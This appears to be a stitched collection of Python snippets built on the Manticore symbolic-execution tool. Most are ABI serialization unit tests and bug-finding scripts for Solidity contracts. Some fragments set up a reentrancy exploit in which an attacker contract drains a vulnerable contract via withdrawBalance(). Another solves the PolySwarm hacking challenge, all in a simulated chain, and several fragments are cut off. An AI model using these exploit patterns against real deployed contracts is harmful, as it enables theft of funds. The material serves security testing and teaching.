def test_simple_types(self): d = [ 'AAAA', # function hash self._pack_int_to_32(32), '\xff' * 32, '\xff'.rjust(32, '\0'), self._pack_int_to_32(0x424242), '\x7f' + '\xff' * 31, # int256 max '\x80'.ljust(32, '\0'), # int256 min ] d = ''.join(d) funcname, dynargs = ABI.parse( type_spec='func(uint256,uint256,bool,address,int256,int256)', data=d) self.assertEqual(funcname, 'func') self.assertEqual( dynargs, (32, 2**256 - 1, 0xff, 0x424242, 2**255 - 1, -(2**255)))
def test_mult_dyn_types(self): d = [ 'AAAA', # function hash self._pack_int_to_32(0x40), # offset to data 1 start self._pack_int_to_32(0x80), # offset to data 2 start self._pack_int_to_32(10), # data 1 size 'helloworld'.ljust(32, '\x00'), # data 1 self._pack_int_to_32(3), # data 2 size self._pack_int_to_32(3), # data 2 self._pack_int_to_32(4), self._pack_int_to_32(5), ] d = ''.join(d) funcname, dynargs = ABI.parse(type_spec='func(bytes,address[])', data=d) self.assertEqual(funcname, 'func') self.assertEqual(dynargs, ('helloworld', [3, 4, 5]))
def test_serialize_bytes_symbolic(self): cs = ConstraintSet() buf = cs.new_array(index_max=17) ret = ABI.serialize('bytes', buf) # does the offset field look right? self.assertTrue( solver.must_be_true(cs, ret[0:32] == bytearray(b'\x00' * 31 + b'\x20'))) # does the size field look right? self.assertTrue( solver.must_be_true( cs, ret[32:64] == bytearray(b'\x00' * 31 + b'\x11'))) # does the data field look right? self.assertTrue( solver.must_be_true( cs, ret[64:64 + 32] == buf + bytearray(b'\x00' * 15)))
def will_decode_instruction_callback(self, state, pc): TRUE = bytearray((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1)) FALSE = bytearray((0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) #print pc, state.platform.current_vm.instruction #Once this address is reached the challenge is won if pc == 0x4141414141414141414141414141414141414141: func_id = to_constant(state.platform.current_transaction.data[:4]) if func_id == function_selector("print(string)"): func_name, args = ABI.deserialize("print(string)", state.platform.current_transaction.data) raise Return() elif func_id == function_selector("terminate(string)"): func_name, args = ABI.deserialize("terminate(string)", state.platform.current_transaction.data) self.manticore.shutdown() raise Return(TRUE) elif func_id == function_selector("assume(bool)"): func_name, args = ABI.deserialize("assume(bool)", state.platform.current_transaction.data) state.add(args[0]) raise Return(TRUE) elif func_id == function_selector("is_symbolic(bytes)"): func_name, args = ABI.deserialize("is_symbolic(bytes)", state.platform.current_transaction.data) try: arg = to_constant(args[0]) except: raise Return(TRUE) raise Return(FALSE) elif func_id == function_selector("is_symbolic(uint256)"): func_name, args = ABI.deserialize("is_symbolic(uint256)", state.platform.current_transaction.data) try: arg = to_constant(args[0]) except Exception as e: raise Return(TRUE) raise Return(FALSE) elif func_id == function_selector("shutdown(string)"): func_name, args = ABI.deserialize("shutdown(string)", state.platform.current_transaction.data) print("Shutdown", to_constant(args[0])) self.manticore.shutdown() elif func_id == function_selector("can_be_true(bool)"): func_name, args = ABI.deserialize("can_be_true(bool)", state.platform.current_transaction.data) result = solver.can_be_true(state.constraints, args[0] != 0) if result: raise Return(TRUE) raise Return(FALSE) raise Stop()
def test_function_name_with_signature(self): source_code = ''' contract Test{ function ret(uint) returns(uint){ return 1; } function ret(uint,uint) returns(uint){ return 2; } } ''' user_account = self.mevm.create_account(balance=1000) contract_account = self.mevm.solidity_create_contract(source_code, owner=user_account) contract_account.ret(self.mevm.make_symbolic_value(), self.mevm.make_symbolic_value(), signature='(uint256,uint256)') z = list(self.mevm.all_states)[0].solve_one(self.mevm.transactions()[1].return_data) self.assertEqual(ABI.deserialize('(uint256)', z)[0], 2)
def test_serialize_basic_types_uint(self): self.assertEqual(ABI.serialize('uint256', 0x10), b'\0' * 31 + b'\x10') self.assertEqual(ABI.deserialize('uint256', b'\0' * 31 + b'\x10'), 0x10) self.assertEqual(ABI.serialize('uint256', -0x10), b'\xff' * 31 + b'\xf0') self.assertEqual( ABI.deserialize('uint256', b'\xff' * 31 + b'\xf0'), 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0) self.assertEqual( ABI.deserialize('uint256', b'\xff' * 31 + b'\xf0'), 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0) self.assertNotEqual(ABI.deserialize('uint256', b'\xff' * 31 + b'\xf0'), -0x10)
def test_selfdestruct_decoupled_account_delete(self): source_code = ''' contract C{ function d( ){ selfdestruct(0); } function g() returns(uint) { return 42 ; } } contract D{ C c; constructor () { c = new C(); } function t () returns(uint){ c.d(); return c.g(); } } ''' user_account = self.mevm.create_account(balance=1000) contract_account = self.mevm.solidity_create_contract( source_code, owner=user_account, contract_name='D', gas=9000000) contract_account.t( gas=9000000 ) #this does not return nothing as it may create several states # nothing reverted and we end up with a single state self.assertEqual(self.mevm.count_states(), 1) # Check that calling t() returned a 42 # That is that calling a selfdestructed contract works as the account # is actually deleted at the end of the human tx self.assertEqual( ABI.deserialize( 'uint', to_constant(self.mevm.world.transactions[-1].return_data)), 42)
def test_parse_valid_int1(self): ret = ABI.deserialize("int", "\x10".ljust(32, '\0')) self.assertEqual(ret, 1 << 252)
def test_parse_valid_int0(self): ret = ABI.deserialize("int8", "\x10" * 32) self.assertEqual(ret, 0x10)
#Initialize user and contracts user_account = m.create_account(balance=100000000000000000) attacker_account = m.create_account(balance=100000000000000000) contract_account = m.solidity_create_contract(contract_source_code, owner=user_account) #Not payable m.world.set_balance(contract_account, 1000000000000000000) #give it some ether exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account) print "[+] Setup the exploit" exploit_account.set_vulnerable_contract(contract_account) exploit_account.set_reentry_reps(2) print "[+] Setting attack string" #'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10', reentry_string = ABI.make_function_id('withdrawBalance()') exploit_account.set_reentry_attack_string(reentry_string) print "[+] Initial world state" print " attacker_account %x balance: %d"% (attacker_account, m.get_balance(attacker_account)) print " exploit_account %x balance: %d"% (exploit_account, m.get_balance(exploit_account)) print " user_account %x balance: %d"% (user_account, m.get_balance(user_account)) print " contract_account %x balance: %d"% (contract_account, m.get_balance(contract_account)) #User deposits all in contract print "[+] user deposited some." contract_account.addToBalance(value=100000000000000000) print "[+] Let attacker deposit some small amount using exploit"
contract_account = m.solidity_create_contract( contract_source_code, owner=user_account) # Not payable m.world.set_balance(contract_account, 1000000000000000000) # give it some ether exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account) print("[+] Set up the exploit") exploit_account.set_vulnerable_contract(contract_account) exploit_account.set_reentry_reps(2) print("[+] Setting attack string") #'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10', reentry_string = ABI.function_selector("withdrawBalance()") exploit_account.set_reentry_attack_string(reentry_string) print("[+] Initial world state") print( f" attacker_account {attacker_account.address:x} balance: {m.get_balance(attacker_account.address)}" ) print( f" exploit_account {exploit_account.address} balance: {m.get_balance(exploit_account.address)}" ) print( f" user_account {user_account.address:x} balance: {m.get_balance(user_account.address)}" ) print( f" contract_account {contract_account.address:x} balance: {m.get_balance(contract_account.address)}" )
user_account = m.create_account(balance=1000 * ETHER) with open(CONTRACT_PATH) as f: contract = m.solidity_create_contract(f, owner=user_account) ## explore all functions ### symbolic_value = m.make_symbolic_value() symbolic_data = m.make_symbolic_buffer(320) m.transaction(caller=user_account, address=contract.address, data=symbolic_data, value=symbolic_value) bug_found = False # only return "RETURN" states for state in m.ready_states: last_tx = state.platform.transactions[-1] # print(last_tx.result) x = state.platform.transactions[-1].return_data x = ABI.deserialize("uint", x) # Check if x != 123 condition = x != 123 if m.generate_testcase(state, name="BugFound", only_if=condition): print("Bug found! see {}".format(m.workspace)) bug_found = True if not bug_found: print("No bug found")
def test_serialize_fixed_bytes_too_big(self): with self.assertRaises(EthereumError): ABI.serialize('bytes2', b'hii')
def test_serialize_fixed_bytes32(self): ret = ABI.serialize('bytes32', b'hi') self.assertEqual(ret, b'hi'.ljust(32, b'\x00'))
def test_empty_types(self): name, args = ABI.parse('func()', '\0' * 32) self.assertEqual(name, 'func') self.assertEqual(args, tuple())
def test_parse_invalid_int(self): with self.assertRaises(EthereumError): ABI.parse("intXXX", "\xFF") ABI.parse("uintXXX", "\xFF")
# symbolic_data = m.make_symbolic_buffer(320) # m.transaction( # caller=hacker_account, # address=contract_account, # data=symbolic_data, # value=0) # b2fa1c9e = isComplete() m.transaction(caller=hacker_account, address=contract_account, data=bytes.fromhex("b2fa1c9e"), value=0) bug_found = False # Explore all the forks for state in m.running_states: complete = state.platform.transactions[-1].return_data complete = ABI.deserialize("uint256", complete) print(complete) # Set constraint state.constrain(Operators.UGT(complete, 0)) if state.is_feasible(): print("Bug found! see {}".format(m.workspace)) m.generate_testcase(state, 'Bug') bug_found = True if not bug_found: print('No bug were found')
def test_serialize_basic_types_int8(self): self.assertEqual(ABI.serialize('int8', 0x10), '\0' * 31 + '\x10') self.assertEqual(ABI.deserialize('int8', '\0' * 31 + '\x10'), 0x10) self.assertEqual(ABI.serialize('int8', -0x10), '\x00' * 31 + '\xf0') self.assertEqual(ABI.deserialize('int8', '\x00' * 31 + '\xf0'), -0x10)
contract_account.transfer(symbolic_to, symbolic_val) contract_account.balances(user_account) # Check of properties ###### bug_found = False # Explore all the forks for state in m.running_states: # state.plateform.transactions returns the list of transactions # state.plateform.transactions[0] is the contract creation # state.plateform.transactions[1] is the first transaction # state.plateform.transactions[-1] is the last transaction balance_before = state.platform.transactions[1].return_data balance_before = ABI.deserialize("uint", balance_before) balance_after = state.platform.transactions[-1].return_data balance_after = ABI.deserialize("uint", balance_after) # Check if it is possible to have balance_after > balance_before state.constrain(Operators.UGT(balance_after, balance_before)) if state.is_feasible(): print("Bug found! see {}".format(m.workspace)) m.generate_testcase(state, 'Bug') bug_found = True if not bug_found: print('No bug were found')
with open('AP2.sol') as f: source_code = f.read() user_account = m.create_account(balance=1000) spender_account = m.make_symbolic_value() m.constrain(spender_account != user_account) contract_account = m.solidity_create_contract(source_code, owner=user_account, balance=0, args=None) #contract_account.balanceOf(spender_account, caller=user_account) contract_account.balanceOf(user_account, caller=user_account) for state in m.ready_states: val = state.platform.transactions[-1].return_data val = ABI.deserialize("uint", val) symbolic_val = m.make_symbolic_value() m.constrain(symbolic_val > val) contract_account.allowance(user_account, spender_account) contract_account.approve(spender_account, symbolic_val, caller=user_account) contract_account.allowance(user_account, spender_account) for state in m.all_states: print("AP2! see {}".format(m.workspace)) m.generate_testcase(state, name="AP2")
def test_parse_valid_int2(self): ret = ABI.deserialize("int40", "\x40\x00\x00\x00\x00".rjust(32, '\0')) self.assertEqual(ret, 1 << 38)
def test_address0(self): data = '{}\x01\x55{}'.format('\0' * 11, '\0' * 19) parsed = ABI.deserialize('address', data) self.assertEqual(parsed, 0x55 << (8 * 19))
def test_empty_types(self): name, args = ABI.deserialize('func()', '\0' * 32) self.assertEqual(name, b'\x00\x00\x00\x00') self.assertEqual(args, tuple())
m = ManticoreEVM() # initiate the blockchain with open('overflow.sol') as f: source_code = f.read() # Generate the accounts user_account = m.create_account(balance=1000) contract_account = m.solidity_create_contract(source_code, owner=user_account, balance=0) # First add won't overflow uint256 representation value_0 = m.make_symbolic_value() contract_account.add(value_0) # Potential overflow value_1 = m.make_symbolic_value() contract_account.add(value_1) contract_account.sellerBalance() for state in m.running_states: # Check if input0 > sellerBalance # last_return is the data returned last_return = state.platform.transactions[-1].return_data last_return = ABI.deserialize("uint", last_return) state.constrain(Operators.UGT(value_0, last_return)) if state.is_feasible(): print("Overflow found! see {}".format(m.workspace)) m.generate_testcase(state, 'OverflowFound')
def test_serialize_fixed_bytes_less_data(self): ret = ABI.serialize('bytes4', b'aa') self.assertEqual(ret, b'aa'.ljust(32, b'\x00'))
def test_parse_invalid_int_too_big(self): with self.assertRaises(EthereumError): ABI.deserialize("int3000", "\xFF") ABI.deserialize("uint3000", "\xFF")
def test_serialize_bytesM_symbolic(self): cs = ConstraintSet() buf = cs.new_array(index_max=17) ret = ABI.serialize('bytes32', buf) self.assertEqual(solver.minmax(cs, ret[0]), (0, 255)) self.assertEqual(solver.minmax(cs, ret[17]), (0, 0))
def test_parse_invalid_int_negative(self): with self.assertRaises(EthereumError): ABI.deserialize("int-8", "\xFF") ABI.deserialize("uint-8", "\xFF")
contract_account = m.solidity_create_contract(source_code, owner=user_account, balance=0) contract_account.balanceOf(to_account, caller=user_account) contract_account.balanceOf(from_account, caller=user_account) contract_account.balanceOf(user_account, caller=user_account) symbolic_val1 = m.make_symbolic_value() #m.constrain(symbolic_val1 > 100) contract_account.transfer(to_account, symbolic_val1, caller=from_account) contract_account.balanceOf(user_account, caller=user_account) contract_account.balanceOf(from_account, caller=user_account) contract_account.balanceOf(to_account, caller=user_account) for state in m.ready_states: #for tx in state.platform.transactions: # print("From address: (0x%x) \n" % (tx.caller)) #print("********\n") balance_before = state.platform.transactions[1].return_data balance_before = ABI.deserialize("uint", balance_before) balance_after = state.platform.transactions[-1].return_data balance_after = ABI.deserialize("uint", balance_after) state.constrain(Operators.ULT(balance_before, balance_after)) if solver.check(state.constraints): print("Found! see {}".format(m.workspace)) m.generate_testcase(state, "Found")
def test_parse_invalid_int_not_pow_of_two(self): with self.assertRaises(EthereumError): ABI.deserialize("int31", "\xFF") ABI.deserialize("uint31", "\xFF")
def test(): #!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = "Raz0r" __email__ = "*****@*****.**" """ This is a solution to the PolySwarm's smart contract hacking challenge done with manticore. Please refer to https://raz0r.name/writeups/polyswarm-smart-contract-hacking-challenge-writeup/ for a complete walk through. """ import binascii from manticore.ethereum import ManticoreEVM, ABI m = ManticoreEVM() m.context["solved"] = False # Set up accounts with original addresses owner_account = m.create_account( balance=1000, name="owner", address=0xBC7DDD20D5BCEB395290FD7CE3A9DA8D8B485559) attacker_account = m.create_account( balance=1000, name="attacker", address=0x762C808237A69D786A85E8784DB8C143EB70B2FB, ) cashmoney_contract = m.create_account( balance=1000, name="CashMoney", address=0x64BA926175BC69BA757EF53A6D5EF616889C9999, ) # Create WinnerLog contract using its init bytecode file = "" if __name__ == "__main__": file = "winnerlog.bin" else: file = "test_polyswarm_challenge/winnerlog.bin" with open(file, "rb") as f: bytecode = f.read() winnerlog_contract = m.create_contract( init=bytecode, owner=owner_account, name="WinnerLog", address=0x2E4D2A597A2FCBDF6CC55EB5C973E76AA19AC410, ) # Allow cashmoney_contract to call logWinner() on winnerlog_contract m.transaction( caller=owner_account, address=winnerlog_contract, data=binascii.unhexlify( b"c3e8512400000000000000000000000064ba926175bc69ba757ef53a6d5ef616889c9999" ), value=0, ) # Prepare symbready_statesand call logWinner() with that symbolic buffer symbolic_data = m.make_symbolic_buffer(64) calldata = ABI.function_call("logWinner(address,uint256,bytes)", attacker_account, 0, symbolic_data) m.transaction( caller=cashmoney_contract, address=winnerlog_contract, data=calldata, value=0, gas=10000000, ) # Look for a running state that is not reverted for state in m.ready_states: world = state.platform result = state.solve_one(symbolic_data) print("[+] FOUND: {}".format(binascii.hexlify(result))) with m.locked_context() as context: context["solved"] = True break assert m.context["solved"]
init=bytecode, owner=owner_account, name="WinnerLog", address=0x2e4d2a597a2fcbdf6cc55eb5c973e76aa19ac410) # Allow cashmoney_contract to call logWinner() on winnerlog_contract m.transaction( caller=owner_account, address=winnerlog_contract, data=binascii.unhexlify( b"c3e8512400000000000000000000000064ba926175bc69ba757ef53a6d5ef616889c9999" ), value=0) # Prepare symbolic buffer and call logWinner() with that symbolic buffer symbolic_data = m.make_symbolic_buffer(64) calldata = ABI.function_call('logWinner(address,uint256,bytes)', attacker_account, 0, symbolic_data) m.transaction(caller=cashmoney_contract, address=winnerlog_contract, data=calldata, value=0, gas=10000000) # Look for a running state that is not reverted for state in m.running_states: world = state.platform result = state.solve_one(symbolic_data) print("[+] FOUND: {}".format(binascii.hexlify(result))) break